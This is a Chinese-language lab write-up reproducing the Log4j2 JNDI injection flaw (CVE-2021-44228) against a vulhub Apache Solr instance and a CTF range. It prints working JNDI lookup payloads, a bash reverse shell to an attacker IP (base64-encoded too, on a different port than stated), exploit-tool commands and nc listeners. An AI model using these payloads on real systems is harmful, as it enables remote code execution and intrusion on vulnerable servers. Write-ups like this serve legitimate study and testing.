【漏洞复现】Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)

发布时间 2023-03-26 20:59:42作者: 0dot7

【漏洞复现】Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)


0x01 漏洞描述

Apache Log4j2 是一个基于 Java 的日志记录工具, 是对 Log4j 的升级,它比其前身 Log4j 1.x 提供了显着改进,并提供了 Logback 中可用的许多改进,同时修复了 Logback 架构中的一些固有问题。该日志框架被大量用于业务系统开发,用来记录日志信息。

Log4j 的 JNDI 支持并没有限制可以解析的名称。一些协议像rmi:和ldap:是不安全的或者可以允许远程代码执行。攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。

0x02 影响版本

Apache Log4j2 2.0.0 - 2.15.0-rc1版本

0x03 漏洞分析

hello?payload=111

jndi注入:(搜索资源服务)		# 前两个为验证,第三个为利用
payload=${jndi:ldap://xxxx.dnslog.cn}
payload=${jndi:ldap://${sys:java.version}.xxxx.dnslog.cn}
payload=${jndi:rmi://192.168.66.128:1099/shell}
  1. 当用户通过get或者post提交输入信息时,应用程序中的“log4j2"组件会将信息记录到日志中
  2. 假如日志中含有该语句${jndi:ldap:192.168.96.1:1099/shell},log4j就会去解析该信息,通过jndi的lookup()方法去解析该URL:ldap:192.168.96.1:1099/shell
  3. 解析到ldap,就会去192.168.96.1:1099的ldap服务找名为shell的资源,找到shell之后,就会将资源信息返回给应用程序的log4j组件,而log4j组件就会下载下来,然后发现shell是一个.class文件,就会去执行里面的代码,从而实现注入
  4. 攻击者就可以通过shell实现任意的命令执行,造成严重危害

攻击拓扑

0x04 漏洞验证

Apache Log4j2 不是一个特定的Web服务,而仅仅是一个第三方库,我们可以通过找到一些使用了这个库的应用来复现这个漏洞,比如Apache Solr。

使用vulhub靶场,启动一个Apache Solr 8.11.0,其依赖了Log4j 2.14.1:

cd vulhub/log4j/CVE-2021-44228/
docker-compose up -d

访问http://your-ip:8983即可查看到Apache Solr的后台页面。

对目标网站进行测试验证,利用dnslog生成一个用于接收回参的网址。

访问网址:

http://ip:8983/solr/admin/cores?action=${jndi:ldap://xxxxx.dnslog.cn}

${jndi:dns://${sys:java.version}.dnslog.cn}是利用JNDI发送DNS请求的Payload,我们将其作为管理员接口的action参数值发送如下数据包:

http://ip:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.dnslog.cn} 

收到回显:

证明漏洞存在。

0x05 漏洞利用

本地复现

攻击机:192.168.60.128
靶机:192.168.60.132

构造反弹payload:

bash -i >& /dev/tcp/192.168.60.128/8888 0>&1

经过base64加密:

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjYwLjEyOC8xMzg5IDA+JjE=

使用JNDI注入工具:

工具地址:https://github.com/welk1n/JNDI-Injection-Exploit

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjYwLjEyOC8xMzg5IDA+JjE=}|{base64,-d}|{bash,-i}" -A 192.168.60.128
// -c是执行的bash命令,-A是指JNDI服务器IP

生成rmi远程执行代码地址:

rmi://192.168.60.128:1099/hgayzd

构造JNDI注入payload:

${jndi:rmi://192.168.60.128:1099/hgayzd}

开启nc监听:

nc -lnvp 8888

将payload插入action后访问执行:

http://192.168.60.132:8983/solr/admin/cores?action=${jndi:rmi://192.168.60.128:1099/hgayzd}

nc监听成功:


春秋云镜靶场CVE-2021-44228

进入靶场,界面如下:

漏洞注入点在text处,验证如下:

dnslog收到回显:

使用JNDIExploit-1.4-SNAPSHOT.jar工具

工具地址:https://github.com/WhiteHSBG/JNDIExploit

vps上开启服务

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i ip

开启监听

nc -lvvp 22222

构造payload

${jndi:ldap://ip:1389/Basic/ReverseShell/ip/22222}

在目标网站参数处加入payload后访问

成功反弹shell:


参考步骤:https://cloud.tencent.com/developer/article/2023496
参考视频:https://www.bilibili.com/video/BV1xe4y1h7Dv